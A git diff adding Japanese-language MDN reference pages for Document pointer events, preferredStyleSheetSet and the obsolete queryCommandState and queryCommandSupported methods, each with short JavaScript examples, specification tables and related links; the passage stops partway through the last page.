+ - API + - Document + - Event + - PointerEvent + - Reference + - onpointerenter + - pointerenter + - イベント +translation_of: Web/API/Document/pointerenter_event +--- +<div>{{APIRef}}</div> + +<p><code>pointerenter</code> イベントは、ポインティングデバイスが要素またはその子孫のヒットテスト領域に入ったときに発生します。ホバーに対応していない機器では {{domxref("Document/pointerdown_event", "pointerdown")}} イベントの結果として移動した場合も含みます ({{domxref("Document/pointerdown_event", "pointerdown")}} を参照)。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>なし</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> の使用例:</p> + +<pre class="brush: js">document.addEventListener('pointerenter', (event) => { + console.log('Pointer entered element'); +});</pre> + +<p><code>onpointerenter</code> イベントハンドラープロパティの使用例:</p> + +<pre class="brush: js">document.onpointerenter = (event) => { + console.log('Pointer entered element'); +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-pointerenter-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointerenter_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/gotpointercapture_event", "gotpointercapture")}}</li> + <li>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</li> + <li>{{domxref("Document/pointerover_event", "pointerover")}}</li> + <li>{{domxref("Document/pointerdown_event", "pointerdown")}}</li> + <li>{{domxref("Document/pointermove_event", "pointermove")}}</li> + <li>{{domxref("Document/pointerup_event", "pointerup")}}</li> + <li>{{domxref("Document/pointercancel_event", "pointercancel")}}</li> + <li>{{domxref("Document/pointerout_event", "pointerout")}}</li> + <li>{{domxref("Document/pointerleave_event", "pointerleave")}}</li> + <li>{{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}} イベントハンドラープロパティ</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/pointerenter_event", "pointerenter")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/pointerleave_event/index.html b/files/ja/web/api/document/pointerleave_event/index.html new file mode 100644 index 0000000000..7734959369 --- /dev/null +++ b/files/ja/web/api/document/pointerleave_event/index.html @@ -0,0 +1,91 @@ +--- +title: 'Document: pointerleave イベント' +slug: Web/API/Document/pointerleave_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - onpointerleave + - pointerleave + - イベント +translation_of: Web/API/Document/pointerleave_event +--- +<div>{{APIRef}}</div> + +<p><code>pointerleave</code> イベントは、ポインティングデバイスが要素のヒットテスト領域を出たときに発生します。ペンデバイスでは、このイベントはデジタイザーが検出可能なホバー範囲をスタイラスが離れたときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>なし</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> の使用例:</p> + +<pre class="brush: js">document.addEventListener('pointerleave', (event) => { + console.log('Pointer left element'); +});</pre> + +<p><code>onpointerleave</code> イベントハンドラープロパティの使用例:</p> + +<pre class="brush: js">document.onpointerleave = (event) => { + console.log('Pointer left element'); +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-pointerleave-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointerleave_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/gotpointercapture_event", "gotpointercapture")}}</li> + <li>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</li> + <li>{{domxref("Document/pointerover_event", "pointerover")}}</li> + <li>{{domxref("Document/pointerenter_event", "pointerenter")}}</li> + <li>{{domxref("Document/pointerdown_event", "pointerdown")}}</li> + <li>{{domxref("Document/pointermove_event", "pointermove")}}</li> + <li>{{domxref("Document/pointerup_event", "pointerup")}}</li> + <li>{{domxref("Document/pointercancel_event", "pointercancel")}}</li> + <li>{{domxref("Document/pointerout_event", "pointerout")}}</li> + <li>{{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}} イベントハンドラープロパティ</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/pointerleave_event", "pointerleave")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/pointerlockchange_event/index.html b/files/ja/web/api/document/pointerlockchange_event/index.html new file mode 100644 index 0000000000..e8583e1a8a --- /dev/null +++ b/files/ja/web/api/document/pointerlockchange_event/index.html @@ -0,0 +1,80 @@ +--- +title: 'Document: pointerlockchange イベント' +slug: Web/API/Document/pointerlockchange_event +tags: + - Document + - Event + - Reference + - Web + - pointerlockchange + - イベント + - ウェブ +translation_of: Web/API/Document/pointerlockchange_event +--- +<div>{{APIRef}}</div> + +<p><code>pointerlockchange</code> イベントは、ポインターがロックされたり解除されたりしたときに発行されます。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("Document/onpointerlockchange", "onpointerlockchange")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> を使用した場合</p> + +<pre class="brush: js">document.addEventListener('pointerlockchange', (event) => { + console.log('Pointer lock changed'); +});</pre> + +<p><code>onpointerlockerror</code> イベントハンドラープロパティを使用した場合</p> + +<pre class="brush: js">document.onpointerlockchange = (event) => { + console.log('Pointer lock changed'); +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}</td> + <td>{{Spec2('Pointer Lock')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointerlockchange_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/API/Pointer_Lock_API">Pointer Lock API の使用</a></li> +</ul> diff --git a/files/ja/web/api/document/pointerlockerror_event/index.html b/files/ja/web/api/document/pointerlockerror_event/index.html new file mode 100644 index 0000000000..523944c9dd --- /dev/null +++ b/files/ja/web/api/document/pointerlockerror_event/index.html @@ -0,0 +1,83 @@ +--- +title: 'Document: pointerlockerror イベント' +slug: Web/API/Document/pointerlockerror_event +tags: + - Document + - Event + - Reference + - Web + - pointerlockerror + - イベント + - ウェブ + - ポインター +translation_of: Web/API/Document/pointerlockerror_event +--- +<div>{{APIRef}}</div> + +<p><code>pointerlockerror</code> イベントは、 (技術的な理由、またはパーミッションが拒否されたために) ポインターのロックに失敗したときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("Document/onpointerlockchange", "onpointerlockerror")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> を使用した場合</p> + +<pre class="brush: js">const para = document.querySelector('p'); + +document.addEventListener('pointerlockerror', (event) => { + console.log('Error locking pointer'); +});</pre> + +<p><code>onpointerlockerror</code> イベントハンドラープロパティを使用した場合</p> + +<pre class="brush: js">document.onpointerlockerror = (event) => { + console.log('Error locking pointer'); +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Lock', '#pointerlockchange-and-pointerlockerror-events')}}</td> + <td>{{Spec2('Pointer Lock')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointerlockerror_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/API/Pointer_Lock_API">Pointer Lock API の使用</a></li> +</ul> diff --git a/files/ja/web/api/document/pointermove_event/index.html b/files/ja/web/api/document/pointermove_event/index.html new file mode 100644 index 0000000000..eff7c67e90 --- /dev/null +++ b/files/ja/web/api/document/pointermove_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: pointermove イベント' +slug: Web/API/Document/pointermove_event +tags: + - Document + - Event + - PointerEvent + - Reference + - Web + - pointer + - pointermove + - イベント + - ウェブ + - ポインター +translation_of: Web/API/Document/pointermove_event +--- +<div>{{APIRef}}</div> + +<p><code>pointermove</code> はポインターの座標が変化し、かつブラウザーの<a href="/ja/docs/Web/CSS/touch-action">タッチ操作</a>によってポインターが<a href="/ja/docs/Web/Events/pointercancel">キャンセル</a>されていないときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onpointermove", "onpointermove")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> を使用した場合</p> + +<pre class="brush: js">document.addEventListener('pointermove', (event) => { + console.log('Pointer moved'); +});</pre> + +<p><code>onpointermove</code> イベントハンドラープロパティを使用した場合</p> + +<pre class="brush: js">document.onpointermove = (event) => { + console.log('Pointer moved'); +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-pointermove-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointermove_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/gotpointercapture_event", "gotpointercapture")}}</li> + <li>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</li> + <li>{{domxref("Document/pointerover_event", "pointerover")}}</li> + <li>{{domxref("Document/pointerenter_event", "pointerenter")}}</li> + <li>{{domxref("Document/pointerdown_event", "pointerdown")}}</li> + <li>{{domxref("Document/pointerup_event", "pointerup")}}</li> + <li>{{domxref("Document/pointercancel_event", "pointercancel")}}</li> + <li>{{domxref("Document/pointerout_event", "pointerout")}}</li> + <li>{{domxref("Document/pointerleave_event", "pointerleave")}}</li> + <li>{{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} イベントハンドラープロパティ</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/pointermove_event", "pointermove")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/pointerout_event/index.html b/files/ja/web/api/document/pointerout_event/index.html new file mode 100644 index 0000000000..a31574d35d --- /dev/null +++ b/files/ja/web/api/document/pointerout_event/index.html @@ -0,0 +1,91 @@ +--- +title: 'Document: pointerout イベント' +slug: Web/API/Document/pointerout_event +tags: + - Document + - Event + - PointerEvent + - Reference + - Web + - onpointerout + - pointerout + - イベント +translation_of: Web/API/Document/pointerout_event +--- +<div>{{APIRef}}</div> + +<p><code>pointerout</code> イベントはいくつかの理由で発生します。ポインティングデバイスが要素の<em>ヒットテスト</em>境界を出たとき、ホバーに対応していない端末で {{domxref("Document/pointerup_event", "pointerup")}} イベントが発生したとき ({{domxref("Document/pointerup_event", "pointerup")}} を参照)、 {{domxref("Document/pointercancel_event", "pointercancel")}} イベントが発生した後 ({{domxref("Document/pointercancel_event", "pointercancel")}} を参照)、スタイラスペンがデジタイザーで検出可能なホバー範囲を離れたとき、などです。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> を使用した場合</p> + +<pre class="brush: js">document.addEventListener('pointerout', (event) => { + console.log('Pointer moved out'); +});</pre> + +<p><code>onpointerout</code> イベントハンドラープロパティを使用した場合</p> + +<pre class="brush: js">document.onpointerout = (event) => { + console.log('Pointer moved out'); +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-pointerout-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointerout_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/gotpointercapture_event", "gotpointercapture")}}</li> + <li>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</li> + <li>{{domxref("Document/pointerover_event", "pointerover")}}</li> + <li>{{domxref("Document/pointerenter_event", "pointerenter")}}</li> + <li>{{domxref("Document/pointerdown_event", "pointerdown")}}</li> + <li>{{domxref("Document/pointermove_event", "pointermove")}}</li> + <li>{{domxref("Document/pointerup_event", "pointerup")}}</li> + <li>{{domxref("Document/pointercancel_event", "pointercancel")}}</li> + <li>{{domxref("Document/pointerleave_event", "pointerleave")}}</li> + <li>{{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} event handler property</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/pointerout_event", "pointerout")}} event</li> +</ul> diff --git a/files/ja/web/api/document/pointerover_event/index.html b/files/ja/web/api/document/pointerover_event/index.html new file mode 100644 index 0000000000..7adfca50a0 --- /dev/null +++ b/files/ja/web/api/document/pointerover_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: pointerover イベント' +slug: Web/API/Document/pointerover_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - Web + - onpointerover + - pointer + - pointerover + - イベント + - ポインター +translation_of: Web/API/Document/pointerover_event +--- +<div>{{APIRef}}</div> + +<p><code>pointerover</code> イベントは、ポインティングデバイスが要素のヒットテスト境界内に移動したときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> を使用した場合</p> + +<pre class="brush: js">document.addEventListener('pointerover', (event) => { + console.log('Pointer moved in'); +});</pre> + +<p><code>onpointerover</code> イベントハンドラープロパティを使用した場合</p> + +<pre class="brush: js">document.onpointerover = (event) => { + console.log('Pointer moved in'); +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-pointerover-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointerover_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/gotpointercapture_event", "gotpointercapture")}}</li> + <li>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</li> + <li>{{domxref("Document/pointerenter_event", "pointerenter")}}</li> + <li>{{domxref("Document/pointerdown_event", "pointerdown")}}</li> + <li>{{domxref("Document/pointermove_event", "pointermove")}}</li> + <li>{{domxref("Document/pointercancel_event", "pointercancel")}}</li> + <li>{{domxref("Document/pointerout_event", "pointerout")}}</li> + <li>{{domxref("Document/pointerleave_event", "pointerleave")}}</li> + <li>{{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}} event handler property</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/pointerover_event", "pointerover")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/pointerup_event/index.html b/files/ja/web/api/document/pointerup_event/index.html new file mode 100644 index 0000000000..d2c4ef074f --- /dev/null +++ b/files/ja/web/api/document/pointerup_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: pointerup event' +slug: Web/API/Document/pointerup_event +tags: + - API + - Document + - Event + - PointerEvent + - Reference + - Web + - onpointerup + - pointerup + - イベント + - ポインター +translation_of: Web/API/Document/pointerup_event +--- +<div>{{APIRef}}</div> + +<p><code>pointerup</code> イベントは、ポインターがアクティブではなくなったときに発生します。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>はい</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("PointerEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Examples" name="Examples">例</h2> + +<p><code>addEventListener()</code> を使用した場合</p> + +<pre class="brush: js">document.addEventListener('pointerup', (event) => { + console.log('Pointer up'); +});</pre> + +<p><code>onpointerup</code> イベントハンドラープロパティを使用した場合</p> + +<pre class="brush: js">document.onpointerup = (event) => { + console.log('Pointer up'); +};</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Pointer Events', '#the-pointerup-event')}}</td> + <td>{{Spec2('Pointer Events')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.pointerup_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("Document/gotpointercapture_event", "gotpointercapture")}}</li> + <li>{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}</li> + <li>{{domxref("Document/pointerover_event", "pointerover")}}</li> + <li>{{domxref("Document/pointerenter_event", "pointerenter")}}</li> + <li>{{domxref("Document/pointerdown_event", "pointerdown")}}</li> + <li>{{domxref("Document/pointermove_event", "pointermove")}}</li> + <li>{{domxref("Document/pointercancel_event", "pointercancel")}}</li> + <li>{{domxref("Document/pointerout_event", "pointerout")}}</li> + <li>{{domxref("Document/pointerleave_event", "pointerleave")}}</li> + <li>{{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}} イベントハンドラープロパティ</li> + <li><code>HTMLElement</code> を対象としたこのイベント: {{domxref("HTMLElement/pointerup_event", "pointerup")}} イベント</li> +</ul> diff --git a/files/ja/web/api/document/preferredstylesheetset/index.html b/files/ja/web/api/document/preferredstylesheetset/index.html new file mode 100644 index 0000000000..84fb0346a4 --- /dev/null +++ b/files/ja/web/api/document/preferredstylesheetset/index.html @@ -0,0 +1,49 @@ +--- +title: Document.preferredStyleSheetSet +slug: Web/API/Document/preferredStyleSheetSet +tags: + - API + - CSSOM + - DOM + - Document + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/preferredStyleSheetSet +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{Obsolete_header}}</div> + +<p><strong><code>preferredStyleSheetSet</code></strong> プロパティは、<span class="seosummary">ページ作者によって設定された推奨スタイルシートセットを返します。</span></p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>preferredStyleSheetSet</var> = document.preferredStyleSheetSet +</pre> + +<p>返値である <var>preferredStyleSheetSet</var> は、作者の推奨するスタイルシートセットを示します。これはスタイルシート宣言の順序と HTTP の <code>Default-Style</code> ヘッダーから特定されます。</p> + +<p>作者によって定義された推奨スタイルシートセットがない場合は、空文字列 (<code>""</code>) が返されます。</p> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js notranslate">if (document.preferredStyleSheetSet) { + console.log("推奨スタイルシート: " + document.preferredStyleSheetSet); +} else { + console.log("推奨スタイルシートがありません。"); +} +</pre> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.preferredStyleSheetSet")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.lastStyleSheetSet")}}</li> + <li>{{domxref("document.selectedStyleSheetSet")}}</li> + <li>{{domxref("document.styleSheetSets")}}</li> + <li>{{domxref("document.enableStyleSheetsForSet()")}}</li> +</ul> diff --git a/files/ja/web/api/document/querycommandstate/index.html b/files/ja/web/api/document/querycommandstate/index.html new file mode 100644 index 0000000000..daaa234747 --- /dev/null +++ b/files/ja/web/api/document/querycommandstate/index.html @@ -0,0 +1,89 @@ +--- +title: Document.queryCommandState() +slug: Web/API/Document/queryCommandState +tags: + - API + - DOM + - Reference +translation_of: Web/API/Document/queryCommandState +--- +<div>{{ApiRef("DOM")}}{{obsolete_header}}</div> + +<p><strong><code>queryCommandState()</code></strong> メソッドは、現在の選択範囲に特定の {{domxref("Document.execCommand()")}} コマンドが適用されているかどうかを知らせます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="brush: js notranslate">queryCommandState(String <var>command</var>) +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<p><code><var>command</var></code> は {{domxref("Document.execCommand()")}} のコマンドです。</p> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p><code>queryCommandState()</code> は {{jsxref("Boolean")}} 値、または状態が不明な場合は <code>null</code> を返す可能性があります。</p> + +<h2 id="Example" name="Example">例</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html notranslate"><div contenteditable="true">Select a part of this text!</div> +<button onclick="makeBold();">Test the state of the 'bold' command</button> +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js notranslate">function makeBold() { + var state = document.queryCommandState("bold"); + switch (state) { + case true: + alert("The bold formatting will be removed from the selected text."); + break; + case false: + alert("The selected text will be displayed in bold."); + break; + case null: + alert("The state of the 'bold' command is indeterminable."); + break; + } + document.execCommand('bold'); +}</pre> + +<h3 id="Result" name="Result">結果</h3> + +<p>{{EmbedLiveSample('Example')}}</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/editing/execCommand.html#querycommandstate()">execCommand</a></td> + <td></td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.queryCommandState")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("HTMLElement.contentEditable")}}</li> + <li>{{domxref("document.designMode")}}</li> + <li><a href="/ja/docs/Rich-Text_Editing_in_Mozilla">Mozilla のリッチテキスト編集</a></li> + <li><code>queryCommandState()</code> に関するブラウザーのバグ: <a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md#documentquerycommandstate">Scribe's "Browser Inconsistencies" documentation</a></li> +</ul> diff --git a/files/ja/web/api/document/querycommandsupported/index.html b/files/ja/web/api/document/querycommandsupported/index.html new file mode 100644 index 0000000000..a28491b9bf --- /dev/null +++ b/files/ja/web/api/document/querycommandsupported/index.html @@ -0,0 +1,78 @@ +--- +title: Document.queryCommandSupported() +slug: Web/API/Document/queryCommandSupported +tags: + - API + - DOM + - Document + - Method + - Reference + - editor +translation_of: Web/API/Document/queryCommandSupported +--- +<div>{{ApiRef("DOM")}}{{obsolete_header}}</div> + +<p><strong><code>Document.queryCommandSupported()</code></strong> メソッドは、指定しされたエディターコマンドにブラウザーが対応しているかどうかを報告します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate"><var>isSupported</var> = document.queryCommandSupported(<var>command</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><code><var>command</var></code></dt> + <dd>サポートしているかを調べるコマンド。</dd> +</dl> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>{{jsxref("Boolean")}} で、コマンドがサポートされていれば <code>true</code>、そうでなければ <code>false</code> を返します。</p> + +<h2 id="Notes" name="Notes">注</h2> + +<p><code>'paste'</code> コマンドは機能が利用できないときだけでなく、呼び出しスクリプトにそのコマンドを実行するための権限が不足しているときにも <code>false</code> を返します。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush:js notranslate">var flg = document.queryCommandSupported("SelectAll"); + +if(flg) { + // ...何か行う +} +</pre> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/editing/execCommand.html#querycommandsupported()">execCommand</a></td> + <td></td> + <td></td> + </tr> + </tbody> +</table> + +<h2 